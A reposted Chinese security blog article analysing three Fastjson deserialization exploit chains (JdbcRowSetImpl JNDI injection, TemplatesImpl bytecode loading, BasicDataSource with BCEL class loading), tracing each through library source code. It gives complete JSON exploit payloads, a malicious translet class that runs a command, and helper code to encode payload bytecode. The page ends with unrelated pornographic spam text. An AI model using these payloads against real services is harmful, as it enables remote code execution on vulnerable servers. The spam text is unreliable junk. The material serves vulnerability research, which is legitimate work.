<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          一起來看看Fastjson的三種漏洞利用鏈

          共 25559字,需瀏覽 52分鐘

           ·

          2021-08-24 19:23

          作者 | 4ra1n

          源 | https://www.anquanke.com/post/id/248892

          Fastjson已被大家分析過很多次,本文主要是對(duì)三種利用鏈做分析和對(duì)比

          JdbcRowSetImpl

          String payload = "{\n" +
              "    \"a\":{\n" +
              "        \"@type\":\"java.lang.Class\",\n" +
              "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
              "    },\n" +
              "    \"b\":{\n" +
              "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
              "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
              "        \"autoCommit\":true\n" +
              "    }\n" +
              "}";
          JSON.parse(payload);

          payload中的a對(duì)象用來當(dāng)作緩存繞過,需要關(guān)注的是第二個(gè)對(duì)象

          注意到其中"autoCommit":true,反序列化時(shí),會(huì)反射設(shè)置屬性,調(diào)用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

              public void setAutoCommit(boolean var1) throws SQLException {
                  if (this.conn != null) {
                      this.conn.setAutoCommit(var1);
                  } else {
                      // conn為空才會(huì)調(diào)用到這里
                      this.conn = this.connect();
                      this.conn.setAutoCommit(var1);
                  }
              }

          跟入com.sun.rowset.JdbcRowSetImpl.connect(),觸發(fā)lookup,加載遠(yuǎn)程惡意對(duì)象

          protected Connection connect() throws SQLException {
              if (this.conn != null) {
                  return this.conn;
              } else if (this.getDataSourceName() != null) {
                  try {
                      // conn為空且dataSourceName不為空才會(huì)到這里
                      InitialContext var1 = new InitialContext();
                      // 成功觸發(fā)JNDI注入
                      DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

          根據(jù)lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

              public Object lookup(Name var1) throws NamingException {
                  if (var1.isEmpty()) {
                      ......
                      return this.decodeObject(var2, var1.getPrefix(1));
                  }
              }

          跟入decodeObject方法,看到加載了遠(yuǎn)程Reference綁定的惡意對(duì)象

          Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
          return NamingManager.getObjectInstance(var3, var2, thisthis.environment);

          總結(jié):

          • 實(shí)戰(zhàn)可以利用,JDNI注入基于較低版本的JDK,LDAP適用范圍更廣
          • 必須能出網(wǎng),加載遠(yuǎn)端的惡意字節(jié)碼,造成了局限性

          TemplateImpl

          String payload = "{\"a\":{\n" +
              "\"@type\":\"java.lang.Class\",\n" +
              "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
              "},\n" +
              "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
              "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
          JSON.parse(payload, Feature.SupportNonPublicField);

          注意其中的Payload來自于惡意類,該類應(yīng)該繼承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

          public class TEMPOC extends AbstractTranslet {
              public TEMPOC() throws IOException {
                  Runtime.getRuntime().exec("calc.exe");
              }
              @Override
              public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
              }
              public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
              }
              public static void main(String[] args) throws Exception {
                  TEMPOC t = new TEMPOC();
              }
          }

          類似第一條鏈,使用兩個(gè)對(duì)象繞過,其中的Payload為惡意類的字節(jié)碼再Base64編碼的結(jié)果,給出簡(jiǎn)易的py腳本

          fin = open(r"PATH-TO-TEMPOC.class""rb")
          byte = fin.read()
          fout = base64.b64encode(byte).decode("utf-8")
          print(fout)

          該鏈需要開啟Feature.SupportNonPublicField參數(shù)再反射設(shè)置屬性,查看官方說明,如果某屬性不存在set方法,但還想設(shè)置值時(shí),需要開啟該參數(shù),這里的情況正好符合,而實(shí)際項(xiàng)目中很少出現(xiàn)這種情況,導(dǎo)致該鏈較雞肋,沒有實(shí)際的意義(其實(shí)TemplateImpl類中有set方法,比如setTransletBytecodes,但是名稱和Bytecodes不一致)

          com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField設(shè)置屬性時(shí)會(huì)有判斷

          final int mask = Feature.SupportNonPublicField.mask;
          if (fieldDeserializer == null
              && (lexer.isEnabled(mask)
                  || (this.beanInfo.parserFeatures & mask) != 0)) {
              ......

          反序列化時(shí),fastjson中會(huì)把”_”開頭的屬性替換為空。并在outputProperties設(shè)置值時(shí)調(diào)用getOutputProperties

             public synchronized Properties getOutputProperties() {
                  try {
                      return newTransformer().getOutputProperties();
                  }
                  catch (TransformerConfigurationException e) {
                      return null;
                  }
              }

          調(diào)用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

          transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

          跟入getTransletInstance

          // name不能為空所以在payload中設(shè)置a.b
          if (_name == nullreturn null;
          // 關(guān)鍵
          if (_class == null) defineTransletClasses();

          // The translet needs to keep a reference to all its auxiliary
          // class to prevent the GC from collecting them
          AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

          再跟入defineTransletClasses,對(duì)父類進(jìn)行了驗(yàn)證,這樣解釋了為什么Payload惡意類要繼承自該類。如果驗(yàn)證沒有問題,將在上方的newInstance方法中實(shí)例化該類,造成RCE

          private static String ABSTRACT_TRANSLET
                  = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

          if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
              _transletIndex = i;
          }

          為什么_bytescode要對(duì)字節(jié)碼進(jìn)行base64編碼?反序列化的過程中會(huì)調(diào)用很多類,在經(jīng)過該類com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的時(shí)候,會(huì)對(duì)字段進(jìn)行一次base64的解碼

          ......        
          if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
              byte[] bytes = lexer.bytesValue();
              ......

          跟入lexer.bytesValue()方法,看到decodeBase64

          public byte[] bytesValue() {
              ......
              // base64解碼
              return IOUtils.decodeBase64(buf, np + 1, sp);
          }

          總結(jié):

          • TemplatesImpl類是Java反序列化界比較常用的類,更容易理解和上手
          • 需要開啟Feature.SupportNonPublicField,實(shí)戰(zhàn)中不適用

          BasicDataSource

          String payload = "{\n" +
              "    \"name\":\n" +
              "    {\n" +
              "        \"@type\" : \"java.lang.Class\",\n" +
              "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
              "    },\n" +
              "    \"x\" : {\n" +
              "        \"name\": {\n" +
              "            \"@type\" : \"java.lang.Class\",\n" +
              "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
              "        },\n" +
              "        \"y\": {\n" +
              "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
              "            \"c\": {\n" +
              "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
              "                \"driverClassLoader\": {\n" +
              "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
              "                },\n" +
              "                \"driverClassName\":\"!!!Payload!!!\",\n" +
              "\n" +
              "                     \"$ref\": \"$.x.y.c.connection\"\n" +
              "\n" +
              "            }\n" +
              "        }\n" +
              "    }\n" +
              "}";
          JSON.parse(payload);

          這個(gè)Payload適用于1.2.37版本,并且需要導(dǎo)入Tomcat相關(guān)的包

          <dependencies>
              <dependency>
                  <groupId>com.alibaba</groupId>
                  <artifactId>fastjson</artifactId>
                  <version>1.2.37</version>
              </dependency>
              <dependency>
                  <groupId>org.apache.tomcat</groupId>
                  <artifactId>tomcat-dbcp</artifactId>
                  <version>8.0.36</version>
              </dependency>
          </dependencies>

          生成driverClassName的工具如下

          import com.sun.org.apache.bcel.internal.util.ClassLoader;
          import com.sun.org.apache.bcel.internal.classfile.JavaClass;
          import com.sun.org.apache.bcel.internal.classfile.Utility;
          import com.sun.org.apache.bcel.internal.Repository;

          public class Test {
              public static void main(String[] args) throws Exception {
                  JavaClass cls = Repository.lookupClass(Exp.class);
                  String code = Utility.encode(cls.getBytes(), true);
                  code = "$$BCEL$$" + code;
                  new ClassLoader().loadClass(code).newInstance();
                  System.out.println(code);
              }
          }

          BCEL的全名是Apache Commons BCEL,Apache Commons項(xiàng)目下的一個(gè)子項(xiàng)目,包含在JDK的原生庫中。我們可以通過BCEL提供的兩個(gè)類 Repository 和 Utility 來利用:Repository 用于將一個(gè)Java Class先轉(zhuǎn)換成原生字節(jié)碼,當(dāng)然這里也可以直接使用javac命令來編譯java文件生成字節(jié)碼;Utility 用于將原生的字節(jié)碼轉(zhuǎn)換成BCEL格式的字節(jié)碼。

          生成的BCEL格式大概如下:

          $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

          將這種格式的字符串,作為“字節(jié)碼”傳入new ClassLoader().loadClass(code).newInstance();將會(huì)被實(shí)例化,當(dāng)我們?cè)贔astjson反序列化中構(gòu)造出這種鏈,將會(huì)造成反序列化漏洞

          回到Payload,開頭一部分用于繞Fastjson黑白名單,沒有什么特殊的意義,核心部分如下:

          "x" : {
              "name": {
                  "@type" : "java.lang.Class",
                  "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
              },
              "y": {
                  "@type":"com.alibaba.fastjson.JSONObject",
                  "c": {
                      "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                      "driverClassLoader": {
                          "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                      },
                      "driverClassName":"!!!Payload!!!",
                      "$ref""$.x.y.c.connection"
                  }
              }
          }

          這個(gè)版本利用的是$ref這個(gè)特性:當(dāng)fastjson版本>=1.2.36時(shí),我們可以使用$ref的方式來調(diào)用任意的getter,比如這個(gè)Payload調(diào)用的是x.y.c.connection,x是這個(gè)大對(duì)象,最終調(diào)用的是c對(duì)象的connection方法,也就是BasicDataSource.connection

          參考代碼com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

          if ("$ref" == key && context != null) {
              // 傳入的ref是$.x.y.c.connection,匹配到else
              if ("@".equals(ref)) {
                  ...
              } else if ("..".equals(ref)) {
                  ...
              } else if ("$".equals(ref)) {
                  ...
              } else {
                  Object refObj = parser.resolveReference(ref);
                  if (refObj != null) {
                      object = refObj;
                  } else {
                      // 將$.x.y.c.connection加入到Task
                      parser.addResolveTask(new ResolveTask(context, ref));
                      parser.resolveStatus = DefaultJSONParser.NeedToResolve;
                  }
              }
          }
          // 處理后設(shè)置到context    
          parser.setContext(context, object, fieldName);

          漏洞的觸發(fā)點(diǎn)在com.alibaba.fastjson.JSON.parse:154

          parser.handleResovleTask(value);

          跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

          if (ref.startsWith("$")) {
              refValue = getObject(ref);
              if (refValue == null) {
                  try {
                      // 看到eval感覺有東西
                      refValue = JSONPath.eval(value, ref);
                  } catch (JSONPathException ex) {
                      // skip
                  }
              }
          }

          跟入JSONPath.eval,這里的segement數(shù)組中的是[x,y,c,connection]

          public Object eval(Object rootObject) {
              if (rootObject == null) {
                  return null;
              }

              init();

              Object currentObject = rootObject;
              for (int i = 0; i < segments.length; ++i) {
                  Segement segement = segments[i];
                  // 繼續(xù)跟入
                  currentObject = segement.eval(this, rootObject, currentObject);
              }
              return currentObject;
          }

          到達(dá)com.alibaba.fastjson.JSONPath:1350

          public Object eval(JSONPath path, Object rootObject, Object currentObject) {
              if (deep) {
                  List<Object> results = new ArrayList<Object>();
                  path.deepScan(currentObject, propertyName, results);
                  return results;
              } else {
                  // return path.getPropertyValue(currentObject, propertyName, true);
                  return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
              }
          }

          繼續(xù)跟入path.getPropertyValue

          protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
              if (currentObject == null) {
                  return null;
              }
              if (currentObject instanceof Map) {
                  Map map = (Map) currentObject;
                  Object val = map.get(propertyName);

                  if (val == null && SIZE == propertyNameHash) {
                      val = map.size();
                  }

                  return val;
              }

              final Class<?> currentClass = currentObject.getClass();

              JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
              if (beanSerializer != null) {
                  try {
                      // 最后一次循環(huán)到達(dá)這里
                      return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
                  } catch (Exception e) {
                      throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
                  }
              }

          跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

          public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
              FieldSerializer fieldDeser = getFieldSerializer(keyHash);
              ......
              // 跟入
              return fieldDeser.getPropertyValue(object);
          }

          跟入com.alibaba.fastjson.serializer.FieldSerializer:145

          public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
              Object propertyValue =  fieldInfo.get(object);

          到達(dá)com.alibaba.fastjson.util.FieldInfo,達(dá)到最終觸發(fā)點(diǎn):method.invoke

          public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
              return method != null
                      ? method.invoke(javaObject)
                      : field.get(javaObject);
          }

          看到這里的javaObject正是BasicDataSouce

          回到BasicDataSource本身

          public Connection getConnection() throws SQLException {
              if (Utils.IS_SECURITY_ENABLED) {
                  // 跟入
                  final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
                  try {
                      return AccessController.doPrivileged(action);
                  } catch (final PrivilegedActionException e) {
                      final Throwable cause = e.getCause();
                      if (cause instanceof SQLException) {
                          throw (SQLException) cause;
                      }
                      throw new SQLException(e);
                  }
              }
              return createDataSource().getConnection();
          }
              private class PaGetConnection implements PrivilegedExceptionAction<Connection{

                  @Override
                  public Connection run() throws SQLException {
                      // 跟入createDataSource()
                      return createDataSource().getConnection();
                  }
              }
          // 繼續(xù)跟入createConnectionFactory()
          final ConnectionFactory driverConnectionFactory = createConnectionFactory();

          最終觸發(fā)點(diǎn),其中driverClassNamedriverClassLoader都是可控的,由用戶輸入,指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader,設(shè)置ClassName為BCEL...這種格式后,在newInstance方法執(zhí)行后被實(shí)例化。第二個(gè)參數(shù)initial為true時(shí),類加載后將會(huì)直接執(zhí)行static{}塊中的代碼。

          if (driverClassLoader == null) {
              driverFromCCL = Class.forName(driverClassName);
          else {
              driverFromCCL = Class.forName(
                  driverClassName, true, driverClassLoader);
          }
          ...
          driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
          ...
          driverToUse = (Driver) driverFromCCL.newInstance();

          總結(jié):

          • 不需要出網(wǎng),不需要開啟特殊的參數(shù),適用范圍較廣
          • 目標(biāo)需要引入tomcat依賴,雖說比較常見,但也是一種限制

          往期推薦

          YYDS!怪不得很多朋友去杭州,原來有10W+的福利!

          2021 年 8 月程序員工資出爐啦!北京以18904元位居榜首

          一做就是一天,這一天天的誰受得了

          居然有老板禁止員工熱飯:要么吃冷的,要么找人送...

          Spring Security實(shí)戰(zhàn)干貨:集成微信公眾號(hào)OAuth2.0授權(quán)



          喜歡本文歡迎轉(zhuǎn)發(fā),關(guān)注我訂閱更多精彩

          關(guān)注我回復(fù)「加群」,加入Spring技術(shù)交流群

          瀏覽 51
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  伊人精品综合 | 中文字幕爱爱 | 亚洲天堂2021在线 | 激情操逼无码 | 91无码人妻精品一区二区蜜桃 |